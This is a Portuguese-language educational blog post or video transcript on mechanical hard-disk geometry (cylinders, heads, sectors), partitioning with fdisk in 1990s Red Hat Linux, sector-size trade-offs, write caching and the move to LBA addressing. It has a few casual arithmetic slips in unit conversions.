<p>Se você já teve o azar de cair num sistema que só te dá fdisk, e você nunca usou na vida, vai ser difícil. Só no fim dos anos 90 a RedHat adicionou a ferramenta Disk Druid que já ajuda muito, e hoje em dia você tem um GParted ou equivalente que vai particionar seu HD automaticamente, indicar onde você tá errando, e você nem precisa saber muitos detalhes.</p>
<p>Mas fdisk não, fdisk ele te pede pra criar a partição nativa que vai montar como o root ou barra, a partição de swap e pra fazer isso você precisa digitar o número do primeiro e do último CILINDRO. Daí ele te mostra informações como setores ou sectors e cabeças ou heads. Esse é o sistema CHS, cylinder-sector-head que são as coordenadas que definem a geometria tridimensional do seu HD.</p>
<p>Se você nunca pensou nisso, vou resumir. Se você abrir um HD mecânico, vai encontrar vários discos organizados um em cima do outro. Em cima de cada disco vai ter um braço com uma cabeça na ponta, que é quem lê e escreve de fato no disco. Cada cabeça identifica um dos discos. Quantas cabeças tem depende do HD.</p>
<p>Agora, como se organiza o disco? Na época do LP de música, o disco de vinil era organizado numa trilha espiral. Você coloca a cabeça no começo da espiral, mais pra borda do disco e enquanto gira, a cabeça vai deslizando dentro da trilha, lendo o engruvinhado que representa as ondas, que ele traduz como som. E o final da trilha é perto do meio do disco.</p>
<p>HDs não são espiral, em vez disso é um conjunto de anéis um dentro do outro. É isso que chamamos de cilindro. A distância de cada cilindro varia de acordo com a evolução da tecnologia magnética da cabeça. Se os cilindros estiverem muito perto e o motor não tiver precisão suficiente, poderia acabar pulando cilindros. Então o número de cilindros é limitado pela resolução da cabeça e o limite onde o magnetismo causa interferência.</p>
<p>Em vez de ser um engruvinhado físico dentro da trilha como num disco de vinil, no caso de HD as trilhas são magnéticas. A cabeça serve pra magnetizar ou desmagnetizar um bit de cada vez. Faz de conta que se tem uma carga então é 1, se tira a carga é zero. Se as trilhas, ou cilindros ficarem pertos demais, a carga de um bit poderia afetar o estado do outro bit. Aliás, um jeito fácil de estragar um HD é colocar um ímã forte perto. Isso é verdade até hoje.</p>
<p>Um HD moderno tem mais de 16 mil cilindros por lado do disco. A estrutura de dados que identifica cada cilindro tem 16-bits então é possível ter até 65 mil quinhentos e trinta e seis cilindros. Eu acho que ainda não estamos perto de atingir esse limite. À medida que a precisão do motor e das cabeças foi aumentando a gente pulou de menos de 4 mil cilindros nos anos 90 até mais de 16 mil hoje. Por isso dá pra ter HDs com 18 terabytes ou mais.</p>
<p>Um disco pode ser escrito dos dois lados, assim como você pode virar um vinil e do outro lado tem mais música. Como num HD não tem como &ldquo;virar&rdquo; o disco, ele vai ter duas cabeças por disco. Numa estrutura padrão de 8-bits significa que podemos identificar até 256 cabeças, numeradas de 0 a 255, isso dá um máximo de 128 discos. Na prática, duvido que existe um HD que chega perto de 128 discos.</p>
<p>Continuando, esses cilindros são organizados em setores. Dependendo do sistema operacional, sistema de arquivos, os setores podem variar de tamanho. Um dos tamanhos mais comuns era 512 bytes. Hoje em dia acho que é 4 kilobytes. Estou especulando, mas eu acho que essa divisão existe pra ajudar a fragmentar menos os dados. Fora que não seria eficiente movimentar o motor pra ler um bit de cada vez. Ele vai ler blocos de bits de cada vez. Na realidade acho que mais de um setor.</p>
<p>Pra ler os bits no disco, o motor precisa mover a cabeça de uma borda a outra do disco, passando pelos cilindros. Digamos que você tenha um arquivo de 100 bytes. Agora imagine que você usou um sistema de arquivos bem estúpido que vai gravando cada byte em lugares aleatórios no disco. O pobre motor vai precisar trabalhar bastante pra achar cada byte. É um motor mecânico, se cada byte estiver num cilindro, isso vai fazer o motor trabalhar bastante e tudo vai ficar lento.</p>
<p>Agora, se os mesmos 100 bytes estiverem organizados sequencialmente, um byte atrás do outro, o motor só precisa ter o trabalho de chegar no primeiro byte do cilindro e pronto, girar o disco é mais fácil que mover a cabeça. Então é só deixar o disco girar e quando eu achar o primeiro byte vou lendo sequencialmente um atrás do outro. Isso minimiza o trabalho do HD.</p>
<p>Digamos que você tenha um arquivo de 21 mil e trezentos bytes, ou mais ou menos 21 ponto oito megabytes. Se dividir em setores de 512 bytes e arredondar, porque não dá pra ter números quebrados, seriam 42 setores. Mas isso daria um total de 21 mil quinhentos e quatro bytes, isso é duzentos e quatro bytes maior que nossos 21 mil e trezentos. E agora?</p>
<p>Na prática o HD vai reservar quarenta e dois setores. Ele vai usar quarenta e um setores inteiros e o último vai ocupar só trezentos e oito e deixar livre duzentos e quatro bytes. E esses duzentos e quatro bytes tão perdidos, não dá pra usar eles pra outro arquivo. Como os arquivos do seu sistema operacional e os que você produz nunca vão ser exatamente múltiplos de quinhentos e doze ou seja lá qual for o tamanho do setor, sempre o último setor vai desperdiçar alguns bytes de espaço inusável. E isso é normal.</p>
<p>É um dos motivos de porque o total ocupado no seu HD não é a soma do tamanho em bytes de todos os arquivos. Na prática vai ser um pouco mais, porque precisa ser múltiplo do tamanho do setor. Eu sempre falo que computação é um trade off. Pra ter zero desperdício de espaço, era só fazer cada setor ser 1 bit. Mas você já deve ter entendido que além de fragmentar bastante, isso ia fazer o motor do nosso HD suar sangue pra ler depois.</p>
<p>Com isso você entende porque a velocidade num HD nunca é constante. Depende do tamanho do arquivo, da fragmentação do drive. O problema é que nunca temos como saber se o drive vai ter mais arquivos muito pequenos ou poucos arquivos muito grandes. Por isso também costuma ser ordens de grandeza mais rápido ler um único arquivo gigante, tipo um zip grande ou um video ou um arquivo de ISO de 500 gigabytes em vez de quinhentos mil arquivos de 1 megabyte cada. O tamanho total é o mesmo, mas o número de operações do HD vai ser muito maior e é isso que mais afeta a velocidade.</p>
<p>O arquivo grandão tende a ter seus setores próximos. Mesmo com alguma fragmentação, você dá a ordem pro HD e ele só tem que se preocupar com uma sequência. Mas no caso de quinhentos mil arquivos, você vai ter que dar quinhentos mil comandos de leitura e pra cada arquivo o motor vai ficar se movendo pra achar onde no disco tá cada um. Isso que chamamos de overhead, o trabalho extra de ter que receber milhares de comandos em vez de só um.</p>
<p>Conseguem imaginar esse trampo? Não é à toa que um HD vai se deteriorando com o tempo. Daí como a gente não sabe se vai ter mais arquivos pequenos ou mais arquivos grandões, também precisamos achar um tamanho de setor que balanceia desperdício de espaço no último setor de um arquivo e não pode ser tão pequeno que vai fazer o HD ser mais lento tendo que caçar muitos setores por arquivo. Se eu quiser ter pouca ou nenhuma fragmentação, basta fazer setores gigantes, mas aí cabe poucos arquivos. Se eu quiser ter milhões de pequenos arquivos, desperdiçando pouco espaço, basta fazer o setor ser o menor possível, só que aí a velocidade vai cair drasticamente. Trade off.</p>
<p>Na maioria dos sistemas de arquivos o tamanho do setor não é menor que 512 bytes e em alguns casos pode ser mais próximo de 4 kilobytes. Isso desperdiça um pouco de espaço, mas o preço veio caindo então hoje temos espaço sobrando, daí dá pra desperdiçar espaço pra ter mais velocidade. Se estiver no Windows e quiser saber, basta abrir um command prompt com permissão de administrador e rodar <code>fsutil fsinfo ntfsinfo c:</code> ou outro drive. No meu caso por exemplo meu C: tem setores de 4 kilobytes e meu I: tem 512 bytes.</p>
<p>Voltando à nossa instalação de Linux RedHat do meio dos anos 90, cá estamos frente à frente com essa tela de fdisk pedindo pra gente adivinhar o tamanho das partições baseado em cilindros. Antigamente o tamanho máximo de um HD era pouco menos de 8 gigabytes. Eu falei que cada gigabyte custava uns 15 dólares? Então isso era um HD de uns 120 dólares. Em 2021 isso é o preço de um HD Barracuda de 6 Terabytes. Quase mil vezes maior.</p>
<p>Esse HD Barracuda de cinco mil e quatrocentos rotações por minuto, diz a propaganda que consegue uma velocidade máxima de 6 gigabits por segundo. Como é em bits, precisa dividir por 8 pra ter em bytes, que é uns 700 megabytes por segundo. Mas isso é velocidade teórica de pico. Na prática num HD desses você vai ter sorte se conseguir mais que uns 300 megabytes por segundo, em média.</p>
<p>Pra piorar nossa conta, HDs modernos mais caros tem módulos de memória RAM. Ou no caso de Intel Optane, tem um mini SSD de cache. A Barracuda tem duzentos e cinquenta e seis mega de RAM. Isso é pelo menos dezesseis vezes mais RAM do que eu tinha no meu PC em 1995, e é só pra cache. A vantagem de ter RAM no HD que ele pode manter dados mais acessados na memória daí não precisa movimentar o motor pra pegar nos discos, por exemplo. É uma das formas do HD mecânico ficar mais rápido.</p>
<p>Mais do que isso, quando você pede pra gravar seu arquivo na realidade você não pede pro HD. Você pede pro seu sistema operacional como seu Windows e o Windows que vai fazer o pedido pro HD. O HD tem RAM, mas sua máquina também tem RAM e o Windows vai primeiro gravar em RAM, esperar acumular mais operações de escrita, reordenar pra facilitar o trabalho e vai dar &ldquo;ok&rdquo; e devolver o controle pro seu editor de textos. Provavelmente ele nem mandou pro HD ainda. Quando mandar o HD pode usar a RAM dela e dizer pro Windows que tá tudo ok também.</p>
<p>Isso parece inteligente não parece? RAM é ordens de grandeza mais rápido que seu HD. Eu disse que a velocidade do HD mecânico vai ser na faixa de 300 megabytes por segundo, na média. Um pente de memória DDR4 de 3600 megahertz tem picos de velocidade de 28 GIGAbytes. Isso é quase cento e cinquenta vezes mais rápido. É isso que significa diferença de ordens de grandeza.</p>
<p>O problema desses níveis de cache no meio do caminho é que antigamente, quando você recebia OK que o arquivo foi gravado, com grande probabilidade ele realmente foi gravado. Se daqui 1 segundo a energia da sua casa cair e desligar seu computador, pelo menos aquele último arquivo com certeza gravou no seu disco.</p>
<p>Hoje, se a força cair, você não tem certeza que o arquivo foi gravado. Provavelmente foi, porque é rápido, mas não se sabe. Num desktop, computador doméstico, tudo bem, porque raramente vai dar coincidência de você estar no meio da operação de escrita e a energia cair. Mas num servidor, tipo do Dropbox, com milhões de pessoas subindo arquivos sem parar, as chances de perder dados se a energia cair é alta. Por isso data centers tem tantos sistemas de redundância. O sistema de RAID que eu falei é só uma das peças do Lego deles.</p>
<p>Enfim, acabei dando uma tangente. O ponto é que todas essas peças móveis, dos HDs mecânicos até seu programa, tem muitas camadas no meio do caminho, muitos caches, e uma pane em alguma dessas camadas vai fazer você perder arquivos. Felizmente em 2021 as chances de você perder ou corromper arquivos é menor do que na minha época de MS-DOS e Winchesters de meros 20 megabytes que custavam uma fortuna.</p>
<p>E eu ainda não terminei o fdisk do Linux que tava instalando. Se prestar atenção, mesmo o fdisk de 1997 já tem uma ajuda. Nas primeiras versões você precisava saber tudo o que eu falei até agora sobre a geometria física dos HDs. Se eu tinha um HD de 8 giga, ia querer reservar uma partição de swap de uns 128 megabytes, que era o máximo.</p>
<p>Olha só essa tela do fdisk. Eu dou <code>p</code> pra dar <code>print</code> nas partições. Não tem nada. Daí dou <code>n</code> pra <code>new</code> ou nova partição. Começo no cilindro 1. Agora eu precisaria fazer esse cálculo que ele mostra acima. Unidade é cilindros vezes 16 mil sessenta e cinco setores, onde cada setor tem quinhentos e doze bytes, então cada cilindro pode ter uns 8 megabytes.</p>
<p>Em cima ele fala que meu disco pode ter até mil e vinte e quatro cilindros, cada cilindro com sessenta e três setores, indo de zero até duzentos e cinquenta e cinco heads ou cabeças. Claro que meu HD vai ter menos que isso. 128 megabytes é do cilindro 1 até dezessete, o que vai dar cento e trinta e seis blocos. O fdisk assume cada bloco tendo uns mil e vinte e quatro bytes. Pra chegar no número de cilindros é só dividir os cento e vinte e oito que eu quero por mil e vinte e quatro.</p>
<p>Pra ter o número de blocos por cilindro é só dividir a unidade, os quase 8 gigas por mil e vinte e autro. Isso dá o número de blocos por cilindro que são uns oito mil. Agora é multiplicar isso pelo número de cilindros pra cada partição. Cento e vinte e oito mega dividido por 8 vai dar dezesseis e uns quebrados, por isso arredonda pra 17.</p>
<p>Achou chato? Pois é, isso era chato. Agradeça que os aplicativos de particionamento hoje fazem todas essas contas pra você. Na realidade, a partir de 2002 com o padrão ATA-6 finalmente mudamos pro sistema de endereçamento linear de 48-bits chamado LBA ou Logical Block Addressing. E com isso esse sistema CHS de cilindro, cabeça, setor foi declarado obsoleto.</p>
<p>LBA é um mapeamento de endereços lineares em cima do sistema de CHS que o HD entende fisicamente por baixo. 2 elevado a 48 dá um máximo de duzentos e cinquenta e seis terabytes. Parece bastante pra uso doméstico, mas pra servidores não é tanto assim não. Por isso depois foi de 48-bits pra 64-bits.</p>
<p>Assim você endereça o disco do endereço zero até duzentos e cinquenta e seis teras. E por baixo ele vai converter em cilindros, cabeças e setores como antes. Você vai notar que muito na programação é fazer &ldquo;de-para&rdquo; que é conversão de coisas complicadas em coisas mais simples.</p>
<p>Tabelas de-para é que nem um dicionário, você traduz as coordenadas tridimensionais do disco por exemplo, cilindro, cabeças e setores num número. E pro sistema operacional, pra você como programador, é como se fosse um arrayzão gigante de 0 até aquele máximo. À medida que as coisas evoluem a gente pode desperdiçar um pouco de memória e processamento em ficar fazendo essas conversões.</p>
<p>Desta vez vou quebrar o assunto em múltiplos episódios. Eu fui escrevendo e no final deu quase 80 páginas de coisas que se eu tentar explicar tudo de uma só vez vai ficar complicado demais. Acho que por hoje já foi o suficiente, mas não se preocupem que eu já escrevi a continuação então o próximo episódio vai chegar mais rápido dessa vez. Se ficaram com dúvidas mandem nos comentários abaixo, não deixem de assinar o canal e clicar no sininho pra não perder a continuação, e compartilhem o video pra ajudar o canal. A gente se vê, até mais.</p>
]]></content:encoded><category>armazenamento-e-backup</category><category>homelab</category><category>hardware</category><category>akitando</category></item></channel></rss>